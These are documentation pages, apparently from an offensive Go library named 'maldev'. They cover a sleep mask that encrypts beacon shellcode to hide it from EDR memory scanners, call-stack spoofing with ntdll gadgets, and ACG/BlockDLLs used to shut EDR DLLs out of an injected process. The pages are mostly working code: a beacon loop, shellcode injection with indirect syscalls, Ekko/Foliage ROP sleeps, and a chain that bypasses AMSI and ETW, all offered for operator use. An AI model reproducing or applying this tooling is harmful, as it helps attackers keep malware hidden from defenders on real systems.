VirtualProtect(PAGE_READWRITE, &origProtect[i])thencipher.Apply(buf, key). - Wait — delegated to the selected
Strategy:InlineStrategywaits on the caller goroutine;TimerQueueStrategywaits on a thread-pool worker;EkkoStrategywaits inside aWaitForSingleObjectExROP gadget on a pool thread so the beacon RIP never sits inSleep/SleepEx. - Decrypt + restore —
VirtualProtect(PAGE_READWRITE)(idempotent),cipher.Applyagain (self-inverse for XOR/RC4; symmetric counter for AES-CTR),VirtualProtect(origProtect[i])to restore the original bits. - Scrub key —
cleanup/memory.SecureZero(key)so keying material does not linger on the Go stack.
Taxonomy: Levels of sleep mask
| Level | Name | What it hides | Strategy in this package |
|---|---|---|---|
| L1 | Inline | Region bytes + executable bit | InlineStrategy (default) |
| L2-light | Pool thread | Above + caller thread's wait syscall is not Sleep | TimerQueueStrategy |
| L2-full | Ekko | Above + beacon thread RIP sits inside VirtualProtect / SystemFunction032 / WaitForSingleObjectEx via NtContinue ROP chain | EkkoStrategy |
| L3 | Foliage | L2 + thread stack scrubbing on wait (memset of used shadow frames) | FoliageStrategy |
| L4 | BOF-style | L3 + in-memory loader isolation | not shipped |
See the design spec in docs/superpowers/specs/2026-04-23-sleepmask-variants-design.md for the full taxonomy and deferred work.
Usage
Minimal: mask a single region
import (
"context"
"time"
"github.com/oioio-space/maldev/evasion/sleepmask"
)
// shellcodeAddr points at a PAGE_EXECUTE_READ region holding your payload.
mask := sleepmask.New(sleepmask.Region{
Addr: shellcodeAddr,
Size: shellcodeLen,
})
// region is RW + scrambled during these 30s
_ = mask.Sleep(context.Background(), 30*time.Second)
Multi-region: protect non-contiguous memory
mask := sleepmask.New(
sleepmask.Region{Addr: shellcode, Size: shellcodeLen},
sleepmask.Region{Addr: reflectiveDLL, Size: dllSize},
sleepmask.Region{Addr: configBlock, Size: configLen},
)
_ = mask.Sleep(context.Background(), 45*time.Second)
Each region keeps its own original protection. An RX region is restored to RX; an RWX region is restored to RWX. See TestSleepMaskE2E_MultiRegionIndependentEncryption and TestSleepMaskE2E_RestoresOriginalRWXProtection.
Multi-region with Ekko
EkkoStrategy's ROP chain is single-region by construction (the
NtContinue chain has hardcoded gadget slots for one VirtualProtect /
SystemFunction032 / VirtualProtect triplet). For multi-region masking
under the Ekko model, wrap it in MultiRegionRotation:
mask := sleepmask.New(regionA, regionB, regionC).
WithStrategy(&sleepmask.MultiRegionRotation{Inner: &sleepmask.EkkoStrategy{}}).
WithCipher(sleepmask.NewRC4Cipher())
_ = mask.Sleep(context.Background(), 30*time.Second)
MultiRegionRotation runs Inner.Cycle once per region for d/N
seconds each. The total wall-clock duration matches d. Trade-off:
only one region is encrypted at any given moment — regionA is masked
during seconds [0, 10), regionB during [10, 20), regionC during
[20, 30). For simultaneous protection of all regions across the full
duration, use InlineStrategy or TimerQueueStrategy, both of which
already iterate over the regions slice up-front.
Choosing a strategy
// Default (L1): caller goroutine runs encrypt → wait → decrypt.
mask := sleepmask.New(region) // equivalent to WithStrategy(&InlineStrategy{})
// Same strategy but with a trigonometric busy-wait instead of time.Sleep.
mask := sleepmask.New(region).
WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})
// L2-light: cycle runs on a thread-pool worker, caller blocks on an event.
mask := sleepmask.New(region).
WithStrategy(&sleepmask.TimerQueueStrategy{})
// L2-full: NtContinue ROP chain (windows+amd64 only, RC4 cipher required).
mask := sleepmask.New(region).
WithCipher(sleepmask.NewRC4Cipher()).
WithStrategy(&sleepmask.EkkoStrategy{})
// L3 Foliage: Ekko + stack-scrub (zero our used gadget shadows
// mid-chain so a walker mid-wait sees clean zeros above Rsp instead
// of VP/SF032 residue).
mask := sleepmask.New(region).
WithCipher(sleepmask.NewRC4Cipher()).
WithStrategy(&sleepmask.FoliageStrategy{})
| Strategy | Thread doing the wait | Wait syscall on that thread | Cost | Status |
|---|---|---|---|---|
InlineStrategy{} | caller goroutine | NtWaitForSingleObject (time.Sleep) | near-zero CPU | shipped |
InlineStrategy{UseBusyTrig: true} | caller goroutine | none (CPU-bound trig loop) | full core busy | shipped |
TimerQueueStrategy{} | thread-pool worker | WaitForSingleObject on a never-fired event | near-zero CPU | shipped |
EkkoStrategy{} | thread-pool worker | WaitForSingleObjectEx reached via an NtContinue gadget chain | near-zero CPU | shipped (windows+amd64, RC4 only, single region) |
FoliageStrategy{} | thread-pool worker | Same as Ekko + extra memset gadget scrubs used shadow frames to zeros before the wait | near-zero CPU | shipped (L3; windows+amd64, RC4 only, single region) |
Rule of thumb: default to InlineStrategy{}. Switch to TimerQueueStrategy{} when you want the beacon goroutine's wait to look distinct from Sleep. Switch to InlineStrategy{UseBusyTrig: true} when you're fighting a sandbox that warps time or an EDR that has hooked every kernel wait primitive.
Choosing a cipher
mask := sleepmask.New(region).WithCipher(sleepmask.NewRC4Cipher())
| Cipher | Keyspace | Strengths | Weaknesses |
|---|---|---|---|
NewXORCipher() (default) | 32 bytes, repeating | tiny, dependency-free, self-inverse | 32-byte period visible under key-period analysis |
NewRC4Cipher() | 32 bytes, stream | stream cipher, no period, required by EkkoStrategy (SystemFunction032) | RC4 key-schedule biases — not a cryptographic guarantee |
NewAESCTRCipher() | 48 bytes (32 key + 16 nonce) | modern, audited primitive | larger code footprint, slightly heavier CPU |
The cipher has no bearing on scanner evasion (any of them scrambles the region) — it matters for analysts dumping the region and trying to reconstruct bytes after seeing multiple cycles under the same key material. Since the key is fresh per cycle, the practical gap between XOR and AES is small; pick on footprint.
Real beacon loop
package main
import (
"time"
"unsafe"
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
func beacon(shellcode []byte) error {
size := uintptr(len(shellcode))
addr, err := windows.VirtualAlloc(0, size,
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
return err
}
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)
var old uint32
if err := windows.VirtualProtect(addr, size, windows.PAGE_EXECUTE_READ, &old); err != nil {
return err
}
mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: size})
for {
// Run your beacon logic: check in, pull tasks, execute, exfil.
if err := inject.ExecuteCallback(addr, inject.CallbackEnumWindows); err != nil {
return err
}
// Hide while idle.
_ = mask.Sleep(context.Background(), 30*time.Second)
}
}
Integrating with inject.SelfInjector
When the shellcode lands via one of the self-process injection methods
(MethodCreateThread, MethodCreateFiber, MethodEtwpCreateEtwThread on
Windows; MethodProcMem on Linux), you don't need to allocate or track
the region manually — the injector already did. Type-assert the returned
Injector to inject.SelfInjector and pull the region directly into the
mask:
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
self, ok := inj.(inject.SelfInjector)
if !ok { return fmt.Errorf("not a self-process injector") }
r, ok := self.InjectedRegion()
if !ok { return fmt.Errorf("no region published (cross-process method?)") }
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size}).
WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})
for {
// beacon work...
_ = mask.Sleep(context.Background(), 30*time.Second)
}
The SelfInjector contract: returns (Region{}, false) before the first
successful Inject, after a failed Inject, or when the method is
cross-process (CRT / APC / EarlyBird / ThreadHijack / Rtl / NtQueueApcThreadEx).
Decorators (WithValidation, WithCPUDelay, WithXOR) and Pipeline
forward the region transparently, so the same pattern works at the end of
any Chain. See docs/techniques/injection/README.md for the injection
side of the contract.
Verifying It Works
The e2e suite runs a concurrent testutil.ScanProcessMemory — the same loop an EDR uses: VirtualQuery every page, filter for PAGE_EXECUTE_*, search for a signature — while Mask.Sleep() is in progress. Key fixtures:
testutil.WindowsSearchableCanary— a 19-byte payload:xor eax,eax; retfollowed by the ASCII markerMALDEV_CANARY!!\n. The marker makes the region trivially findable on an executable page.testutil.ScanProcessMemory(marker)— walks every committed region in the process, returns the first hit on an executable page.
The canonical test proves the full contract in one shot:
// From sleepmask_e2e_windows_test.go
func TestSleepMaskE2E_DefeatsExecutablePageScanner(t *testing.T) {
payload := testutil.WindowsSearchableCanary
addr, cleanup := allocAndWriteRX(t, payload) // allocs + flips to PAGE_EXECUTE_READ
defer cleanup()
// Baseline: findable before masking.
marker := []byte("MALDEV_CANARY!!\n")
_, ok := testutil.ScanProcessMemory(marker)
require.True(t, ok, "baseline scan must find canary before masking")
mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: uintptr(len(payload))})
// Concurrent scanner during the sleep.
var scanHits, scanAttempts int32
stopScan := make(chan struct{})
scanDone := make(chan struct{})
go func() {
defer close(scanDone)
for {
select {
case <-stopScan: return
default:
}
atomic.AddInt32(&scanAttempts, 1)
if _, hit := testutil.ScanProcessMemory(marker); hit {
atomic.AddInt32(&scanHits, 1)
}
time.Sleep(5 * time.Millisecond)
}
}()
_ = mask.Sleep(context.Background(), 300*time.Millisecond)
close(stopScan); <-scanDone
assert.Zero(t, atomic.LoadInt32(&scanHits),
"concurrent scanner must NOT find canary during masked sleep")
assert.Greater(t, atomic.LoadInt32(&scanAttempts), int32(5),
"scanner must have run several passes during the sleep")
_, ok = testutil.ScanProcessMemory(marker)
assert.True(t, ok, "canary must be findable again after sleep returns")
}
The full suite (all run on a real Win10 VM via scripts/vm-run-tests.sh):
| Test | What it proves |
|---|---|
TestSleepMaskE2E_DefeatsExecutablePageScanner | ~60 concurrent scans during a 300 ms sleep, zero hits. Scan finds the canary before and after. |
TestSleepMaskE2E_RestoresOriginalRXProtection | Mid-sleep VirtualQuery reports PAGE_READWRITE; post-sleep reports PAGE_EXECUTE_READ. |
TestSleepMaskE2E_RestoresOriginalRWXProtection | An RWX region stays RWX after the cycle (not collapsed to RX). |
TestSleepMaskE2E_MultiRegionIndependentEncryption | Two distinct markers, each region scrambled mid-sleep, both bytes restored. |
TestSleepMaskE2E_BeaconLoopStableAcrossCycles | 10 back-to-back cycles; bytes and protection unchanged after every cycle. |
TestSleepMaskE2E_BusyTrigAlsoDefeatsScanner | InlineStrategy{UseBusyTrig: true} gives the same scanner-defeating guarantee as the default. |
TestSleepMaskE2E_DefeatsExecutablePageScanner/{inline,timerqueue} | sub-tests loop the core scan-defeats invariant over every shipped strategy. |
TestTimerQueueStrategy_CycleRoundTrip / _CtxCancellation | Pool-thread variant encrypts + decrypts correctly and still decrypts on ctx.DeadlineExceeded. |
TestEkkoStrategy_RejectsNonRC4Cipher / _RejectsMultiRegion | Ekko validates its input constraints (RC4 only, single region). |
TestRemoteInlineStrategy_RoundTrip | RemoteMask round-trips bytes through ReadProcessMemory → Apply → WriteProcessMemory against a spawned notepad. |
Run locally:
./scripts/vm-run-tests.sh windows "./evasion/sleepmask/..." "-v -count=1 -run TestSleepMaskE2E"
Common Pitfalls
Order-of-operations matters. The region under protection is almost always PAGE_EXECUTE_READ after a typical injection sequence. Writing the XOR pass before the VirtualProtect(RW) will raise STATUS_ACCESS_VIOLATION on the first byte. The sleep mask consistently VirtualProtects first, then XORs. If you extend this package, preserve that order. (This was historically a bug; the added e2e test TestSleepMaskE2E_RestoresOriginalRXProtection pins the behavior.)
The mask code itself is unencrypted. Code paths executing Mask.Sleep — the XOR loop, the VirtualProtect calls, the timer — must stay executable. You cannot mask the mask. Treat it as a small scannable kernel; keep it short, keep it varied if possible, and don't register its own .text as a region.
The key is on the stack during sleep. Mask.Sleep zeroes the key via cleanup/memory.SecureZero only after the region is decrypted. During the sleep itself the 32-byte key lives on the Go stack frame of Sleep. A targeted memory dump timed exactly mid-sleep could recover it and undo the protection. If that matters, consider cleanup/memory.DoSecret (Go 1.26+ GOEXPERIMENT=runtimesecret path) to wrap the whole cycle — see docs/techniques/cleanup/memory-wipe.md.
Very short sleeps cost more than they hide. Below ~50 ms the VirtualProtect + XOR round-trip becomes a measurable fraction of the "sleep", and you've traded scanner-visibility for API-call-volume visibility. Sleep mask pays off when the idle interval is comfortably longer than the encrypt/decrypt cycle.
InlineStrategy still goes through the kernel. Go's time.Sleep on Windows is implemented via a timer object. Any EDR hooking NtWaitForSingleObject or the scheduler will observe the wait — it won't see the scrambled memory, but it will see you sleeping. Use InlineStrategy{UseBusyTrig: true} to avoid any wait syscall, or TimerQueueStrategy to move the wait off the caller goroutine.
Comparison
| Feature | maldev/sleepmask | Cobalt Strike BOF sleep_mask | Sliver sleep mask |
|---|---|---|---|
| Cipher | repeating-key XOR (32 bytes, fresh per sleep) | XOR (historically); tunable via BOF | AES |
| Permission downgrade | yes, per-region, original restored | yes | yes |
| Multi-region | yes | generally one | generally one |
| Busy-wait alternative | InlineStrategy{UseBusyTrig: true} | no (BOF-replaceable) | no |
| Pluggable cipher | XOR / RC4 / AES-CTR | BOF-replaceable | AES only |
| Pluggable wait-thread | InlineStrategy, TimerQueueStrategy, EkkoStrategy, FoliageStrategy | no | no |
| Stack scrubbing during wait | FoliageStrategy (L3 — zeros used shadow frames mid-chain) | BOF-replaceable | no |
| Cross-process masking | RemoteMask + RemoteInlineStrategy | yes | yes |
| Key zeroing | yes (SecureZero) | varies by BOF | yes |
| Self-encryption | no (limitation) | no | no |
Running the demo
cmd/sleepmask-demo exercises both scenarios with a configurable cipher/strategy and a concurrent scanner:
# Scenario A: mask a canary in our own process (default strategy=inline, cipher=xor).
go run ./cmd/sleepmask-demo -scenario=self -cycles=3 -sleep=5s
# Pool-thread variant, aes cipher, 10s sleeps.
go run ./cmd/sleepmask-demo -scenario=self -strategy=timerqueue -cipher=aes -cycles=2 -sleep=10s
# Scenario B: spawn notepad suspended, mask a canary in its address space.
go run ./cmd/sleepmask-demo -scenario=host -host-binary='C:\Windows\System32\notepad.exe' -cipher=rc4
The scanner prints HIT before/after each cycle and MISS throughout the masked window.
API Reference
// Region is one memory window to protect during sleep.
type Region struct {
Addr uintptr
Size uintptr
}
// Cipher transforms region bytes in-place. Implementations must be
// self-inverse (Apply(Apply(x, k), k) == x) so encrypt and decrypt are
// the same call. XORCipher, RC4Cipher, AESCTRCipher ship.
type Cipher interface {
Apply(buf, key []byte)
KeySize() int
}
func NewXORCipher() *XORCipher
func NewRC4Cipher() *RC4Cipher
func NewAESCTRCipher() *AESCTRCipher
// Strategy encapsulates the encrypt → wait → decrypt cycle. InlineStrategy,
// TimerQueueStrategy, EkkoStrategy, and FoliageStrategy (windows+amd64, RC4 only
// — last two) ship.
type Strategy interface {
Cycle(ctx context.Context, regions []Region, cipher Cipher, key []byte, d time.Duration) error
}
// FoliageStrategy is Ekko + a stack-scrub gadget that zeroes the used
// gadget shadow frames before the wait. ScrubBytes is clamped to a
// safe max that does not clobber the memset gadget's own return frame.
type FoliageStrategy struct {
ScrubBytes uintptr // 0 = default (2 * ekkoShadowStride); max is clamped internally
}
// New creates a Mask covering the given regions. Defaults: XORCipher + InlineStrategy.
func New(regions ...Region) *Mask
func (m *Mask) WithCipher(c Cipher) *Mask // nil → XORCipher
func (m *Mask) WithStrategy(s Strategy) *Mask // nil → InlineStrategy
// Sleep runs one encrypt → wait → decrypt cycle.
// Returns ctx.Err() if the wait was cancelled; the strategy's error on syscall
// failure; nil on success. Zero regions or non-positive d short-circuits.
// Decrypt always runs, even on ctx cancellation.
func (m *Mask) Sleep(ctx context.Context, d time.Duration) error
// RemoteRegion / RemoteMask mask memory in another process. Handle must carry
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ.
type RemoteRegion struct {
Handle uintptr
Addr uintptr
Size uintptr
}
type RemoteStrategy interface {
Cycle(ctx context.Context, regions []RemoteRegion, cipher Cipher, key []byte, d time.Duration) error
}
func NewRemote(regions ...RemoteRegion) *RemoteMask
func (m *RemoteMask) WithCipher(c Cipher) *RemoteMask
func (m *RemoteMask) WithStrategy(s RemoteStrategy) *RemoteMask
func (m *RemoteMask) Sleep(ctx context.Context, d time.Duration) error
See also
- Evasion area README
evasion/callstack— pair with callstack-spoof so the hibernating thread's stack is also obfuscatedevasion/preset— Stealth preset includes the Foliage strategy
Call-stack spoofing — metadata primitives
← evasion area README · docs/index
TL;DR
EDRs walk the stack of a suspicious thread and ask "who called
VirtualAllocEx?". evasion/callstack builds the synthetic
return-frame metadata (RUNTIME_FUNCTION + ImageBase + ReturnAddress)
required to fake a benign thread-init lineage
(RtlUserThreadStart → BaseThreadInitThunk → …). The asm pivot that
executes a call through the chain (SpoofCall) ships as an
experimental scaffold; the metadata helpers (StandardChain,
FindReturnGadget, LookupFunctionEntry, Validate) are
production-ready.
Primer
Modern EDR and DFIR tooling routinely walks the stack of a suspicious
thread to see who called that VirtualAllocEx / CreateRemoteThread /
NtUnmapViewOfSection. The walker uses RtlVirtualUnwind (or its
kernel-mode sibling), which reads the PE .pdata table to locate the
RUNTIME_FUNCTION for the current RIP, then follows the stored
unwind info to climb up one frame at a time.
A spoofed call stack replaces the top frames of that walk with
addresses that look like a vanilla thread-init sequence. The walker
cannot distinguish the injected frames from a genuine execution path
unless it cross-validates RIP against ETW Threat-Intelligence or
performs its own control-flow reconstruction.
This package ships the metadata primitives required to build such
a chain. Every helper returns either a Frame (return-address +
ImageBase + RUNTIME_FUNCTION row, copied by value) or a []Frame,
and Validate performs structural sanity checks before the chain
hits a stack walker.
How It Works
sequenceDiagram
participant G as "Caller (Go)"
participant S as "Spoof pivot (asm)"
participant T as "Target fn"
participant W as "RtlVirtualUnwind"
participant N as "ntdll RET gadget"
Note over G: Build chain via StandardChain + FindReturnGadget
G->>S: SpoofCall(target, chain, args)
S->>S: Plant fakeRet then realRet on stack
S->>T: JMP target (not CALL)
Note over T: Executes body. RIP inside target.
W->>T: Snapshot RIP at sampling moment
W->>T: Lookup RUNTIME_FUNCTION RIP
W-->>W: Unwinds via target .pdata
W->>N: Lands on fakeRet, ntdll RET gadget
W->>N: Lookup RUNTIME_FUNCTION fakeRet
W-->>W: Walks ntdll frame metadata
W-->>G: Reports BaseThreadInitThunk then RtlUserThreadStart
T-->>N: RET pops fakeRet
N-->>G: RET pops realRet, back to Go
Steps:
StandardChainresolves the canonical thread-init lineage:kernel32!BaseThreadInitThunk(inner caller) andntdll!RtlUserThreadStart(outer caller). Both are looked up viaRtlLookupFunctionEntryso the returnedFrame[i]carries a validRUNTIME_FUNCTIONrow from the legitimate module's.pdata.FindReturnGadgetscansntdll.dll's.textfor a loneRET(0xC3followed by alignment padding). The address is used as the fake return at the top of the chain — when the target's ownRETfires, the CPU jumps into ntdll's image, which has full.pdatacoverage.- The asm pivot (
SpoofCallscaffold, gated behindMALDEV_SPOOFCALL_E2E=1) plants[fakeRet, ...chain]on the thread's stack, thenJMPs (notCALLs) into the target. When the target returns, it popsfakeRetand the CPU lands inside ntdll. A walker that samplesRIPat any point above the target walks ntdll's metadata and reports a benign thread-init sequence. Validateconfirms structural consistency before any of this: non-zero return / image base / unwind-info;ControlPcbounded by theRUNTIME_FUNCTION [Begin, End)window.
API Reference
type Frame struct {
ReturnAddress uintptr
ImageBase uintptr
RuntimeFunction RuntimeFunction
}
type RuntimeFunction struct {
BeginAddress uint32
EndAddress uint32
UnwindInfoAddress uint32
}
func LookupFunctionEntry(addr uintptr) (Frame, error)
func StandardChain() ([]Frame, error)
func FindReturnGadget() (uintptr, error)
func Validate(chain []Frame) error
// Experimental — gated behind MALDEV_SPOOFCALL_E2E=1
func SpoofCall(target unsafe.Pointer, chain []Frame, args ...uintptr) (uintptr, error)
Sentinel errors: ErrUnsupportedPlatform,
ErrFunctionEntryNotFound, ErrGadgetNotFound,
ErrEmptyChain, ErrTooManyArgs.
LookupFunctionEntry(addr uintptr) (Frame, error)
Wraps ntdll!RtlLookupFunctionEntry. Given any instruction address
inside a loaded PE, returns a Frame populated with
ReturnAddress + ImageBase + RUNTIME_FUNCTION (copied by value).
Parameters:
addr— any in-image RIP value. Out-of-image addresses returnErrFunctionEntryNotFound.
Returns:
Frame—ReturnAddress=addr,ImageBase+RuntimeFunctionpopulated from ntdll.error—ErrFunctionEntryNotFoundifaddris outside any loaded module's.pdatacoverage;ErrUnsupportedPlatformon non-amd64 / non-Windows.
Side effects: none — pure read.
OPSEC: silent. No syscall, no allocation, no telemetry trail.
Required privileges: unprivileged.
Platform: windows amd64.
StandardChain() ([]Frame, error)
Returns a cached 2-frame chain rooted at the Windows thread-init
sequence: [0] kernel32!BaseThreadInitThunk (inner — direct
caller of target), [1] ntdll!RtlUserThreadStart (outer — thread
entry point). Both frames carry full RUNTIME_FUNCTION metadata.
Parameters: none.
Returns:
[]Framelength 2. Returned by reference; do not mutate.error—ErrFunctionEntryNotFoundwhen either symbol cannot be resolved (e.g.,kernel32/ntdllnot yet mapped); cached on first success.
Side effects: caches the chain on first call; subsequent calls return the cached slice in O(1).
OPSEC: silent — only RtlLookupFunctionEntry reads.
Required privileges: unprivileged.
Platform: windows amd64.
FindReturnGadget() (uintptr, error)
Scans ntdll.dll's .text for the first lone RET (0xC3
followed by int3 / nop padding) and returns its absolute
address. Callers planting a fake return on the stack point there so
the target's RET jumps into a well-known ntdll address.
Parameters: none.
Returns:
uintptr— address of an ntdll RET gadget. Cached.error—ErrGadgetNotFoundonly if ntdll's.textis hooked out of recognition (very unusual).
Side effects: caches the address on first call.
OPSEC: silent — single in-process memory walk.
Required privileges: unprivileged.
Platform: windows amd64.
Validate(chain []Frame) error
Checks structural consistency of the supplied chain.
Parameters:
chain— caller-built[]Frame. May be the result ofStandardChain()plus operator-added frames.
Returns:
error— non-nil when any frame has zeroReturnAddress/ImageBase/UnwindInfoAddress, or whenControlPcfalls outsideRuntimeFunction.[Begin, End). Nil on a valid chain.
Side effects: none.
OPSEC: silent.
Required privileges: unprivileged.
Platform: windows amd64 (struct alignment relies on amd64
RUNTIME_FUNCTION layout).
SpoofCall(target, chain, args...) (uintptr, error) (experimental)
Asm pivot. Plants [fakeRet, ...chain] on the stack, sets up Win64
ABI register passing for up to 4 args, and JMPs into target. The
target's eventual RET lands on fakeRet (an ntdll RET gadget); a
walker sampling RIP anywhere above the target sees ntdll-resident
addresses with valid .pdata.
Parameters:
target—unsafe.Pointerto the function to invoke.chain— pre-validated[]FramefromStandardChain(+ caller-supplied frames as needed).args...— up to 4uintptrarguments mapped to RCX/RDX/R8/R9.
Returns:
uintptr— the value the target left in RAX.error—ErrEmptyChain/ErrTooManyArgson caller-side violations. Pivot itself does not return errors mid-flight (any fault is a crash).
Side effects: mutates the caller goroutine's stack frame for the duration of the pivot; restored on return.
OPSEC: the spoofed walker view is the goal — sampling at the target's RIP shows a benign thread-init lineage. Reflection-based walkers that re-derive frames from CFG can still flag.
Required privileges: unprivileged.
Platform: windows amd64. Gated behind
MALDEV_SPOOFCALL_E2E=1 until the
lastcontinuehandler-on-Go-runtime crash is root-caused.
Examples
Simple — build + validate a chain
chain, err := callstack.StandardChain()
if err != nil {
log.Fatal(err)
}
if err := callstack.Validate(chain); err != nil {
log.Fatalf("chain invalid: %v", err)
}
gadget, err := callstack.FindReturnGadget()
if err != nil {
log.Fatal(err)
}
log.Printf("chain frames=%d gadget=%#x", len(chain), gadget)
Composed — chain + injection landing-site spoof
The chain is one piece of the deception. Pair it with
evasion/unhook and an indirect-syscall caller so a walker that
lands on any of the hot calls sees ntdll-resident addresses with
valid .pdata.
import (
"github.com/oioio-space/maldev/evasion/callstack"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
stdChain, _ := callstack.StandardChain()
_ = callstack.Validate(stdChain)
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, stdChain...)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)
_ = full // hand off to operator's own pivot OR callstack.SpoofCall
Advanced — SpoofCall (gated)
// MALDEV_SPOOFCALL_E2E=1 must be set; the asm pivot is debug-only.
chain, _ := callstack.StandardChain()
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, chain...)
target := unsafe.Pointer(windows.NewLazyDLL("ntdll.dll").
NewProc("RtlGetVersion").Addr())
ret, err := callstack.SpoofCall(target, full /* no args */)
if err != nil {
log.Fatalf("spoofcall: %v", err)
}
log.Printf("RtlGetVersion returned %#x", ret)
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
RtlLookupFunctionEntry reads | not logged | none needed |
| Synthetic frame on the thread stack | reflection-based walkers may flag | live with the residual; pair with HW-BP variant (P2.6) on hardened targets |
| ETW Threat-Intelligence | cross-references RIP against legitimate call graph | EDRs subscribing to TI can still flag — evasion/callstack makes the chain plausible, not indistinguishable |
| ntdll RET-gadget address | static — same value across calls within a process | randomise gadget pick from FindReturnGadget candidates (future enhancement) |
D3FEND counters: D3-PSA (Process Spawn Analysis) — when paired with a benign thread-init RIP sequence the spawn / call chain appears legitimate.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1036 | Masquerading | call-stack metadata | D3-PSA |
| T1027 | Obfuscated Files or Information | runtime stack obfuscation | D3-EAL |
Limitations
- x64 only. x86 uses frame-pointer walking rather than
.pdata-based unwind, which requires a different spoof strategy. - Synthetic frames detected by ETW Threat-Intelligence. Some EDRs (especially those consuming the TI provider) cross-check every stack frame RIP against the current call graph.
- Module relocations.
StandardChaincaches the frames after first call; if the target module unmaps + remaps at a new base (unusual but possible under ASLR-stressed environments), the cached frames become stale. Spawn a fresh process or build a one-shot chain viaLookupFunctionEntry. - No hardware-breakpoint variant yet. The fortra-style HWBP pivot (HW-BP on RET gadget for stronger obfuscation) is tracked under backlog row P2.6.
SpoofCallis experimental. The pivot occasionally crashes through Go'slastcontinuehandlerdue to runtime M:N scheduling. Promotion to a tagged release waits on a clean root-cause.
See also
- Evasion area README
evasion/sleepmask— pair with sleep-mask so spoofed frames are also wiped between callbackswin/syscall—MethodIndirectreturns into ntdll, complementary stack-stealth pathrecon/hwbp— companion HW-BP variant tracked under backlog P2.6- package godoc
ACG + BlockDLLs
MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-AIPA -- Application Integrity Protection Analysis | Detection: Low
Primer
Imagine you are in a clean room doing sensitive work. You lock the door so nobody can enter, and you cover all the air vents so nothing can be blown in. That is what ACG and BlockDLLs do to your process.
ACG (Arbitrary Code Guard) tells Windows: "Do not allow any new executable memory allocations in this process." Once enabled, nobody -- not even the operating system -- can create new PAGE_EXECUTE_* memory regions. This blocks EDR from injecting dynamic hooks or code into your process. It also blocks shellcode injection from outside.
BlockDLLs (Binary Signature Policy) tells Windows: "Only load DLLs that are signed by Microsoft." This prevents EDR products from loading their monitoring DLLs (like CrowdStrike.dll or SentinelOne.dll) into your process. Since these DLLs are typically signed by their vendor (not Microsoft), they are blocked.
Together, these two mitigations create a hardened process that rejects external code injection and unsigned DLL loading. The critical caveat: ACG also prevents your own shellcode from allocating executable memory, so you must apply it AFTER your injection is complete.
How It Works
flowchart TD
subgraph ACG["Arbitrary Code Guard"]
A1[SetProcessMitigationPolicy] --> A2[ProcessDynamicCodePolicy]
A2 --> A3[ProhibitDynamicCode = 1]
A3 --> A4[All future VirtualAlloc\nwith PAGE_EXECUTE_* → FAIL]
A3 --> A5[All future VirtualProtect\nto PAGE_EXECUTE_* → FAIL]
end
subgraph BlockDLLs["Block Non-Microsoft DLLs"]
B1[SetProcessMitigationPolicy] --> B2[ProcessBinarySignaturePolicy]
B2 --> B3[MicrosoftSignedOnly = 1]
B3 --> B4[LoadLibrary of unsigned DLL → FAIL]
B3 --> B5[EDR DLL injection → FAIL]
end
subgraph Timeline["Correct Application Order"]
T1[1. Evasion: AMSI + ETW] --> T2[2. Injection: shellcode]
T2 --> T3[3. Harden: ACG + BlockDLLs]
T3 --> T4[Process is now locked down]
end
style A4 fill:#5c1a1a,color:#fff
style A5 fill:#5c1a1a,color:#fff
style B4 fill:#5c1a1a,color:#fff
style B5 fill:#5c1a1a,color:#fff
style T3 fill:#2d5016,color:#fff
ACG internals:
- Calls
SetProcessMitigationPolicywith policy ID 2 (ProcessDynamicCodePolicy). - Sets
ProhibitDynamicCode = 1in the policy flags. - Once set, this is irreversible for the process lifetime.
BlockDLLs internals:
- Calls
SetProcessMitigationPolicywith policy ID 8 (ProcessBinarySignaturePolicy). - Sets
MicrosoftSignedOnly = 1. - Once set, this is irreversible for the process lifetime.
Usage
package main
import (
"log"
"github.com/oioio-space/maldev/evasion/acg"
"github.com/oioio-space/maldev/evasion/blockdlls"
)
func main() {
// Enable ACG -- no more dynamic code allocation.
if err := acg.Enable(nil); err != nil {
log.Fatal(err)
}
// Block non-Microsoft DLLs.
if err := blockdlls.Enable(nil); err != nil {
log.Fatal(err)
}
}
Combined Example
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
func main() {
shellcode := []byte{0x90, 0x90, 0xCC}
// 1. FIRST: Evasion (AMSI + ETW + unhook).
evasion.ApplyAll(preset.Stealth(), nil)
// 2. SECOND: Inject shellcode (needs executable memory allocation).
if err := inject.ThreadPoolExec(shellcode); err != nil {
log.Fatal(err)
}
// 3. LAST: Lock down the process.
// Aggressive preset includes ACG + BlockDLLs.
// WARNING: No more RWX allocations possible after this!
evasion.ApplyAll(preset.Aggressive(), nil)
// From this point:
// - No EDR can inject hooks or DLLs
// - No new executable memory can be created
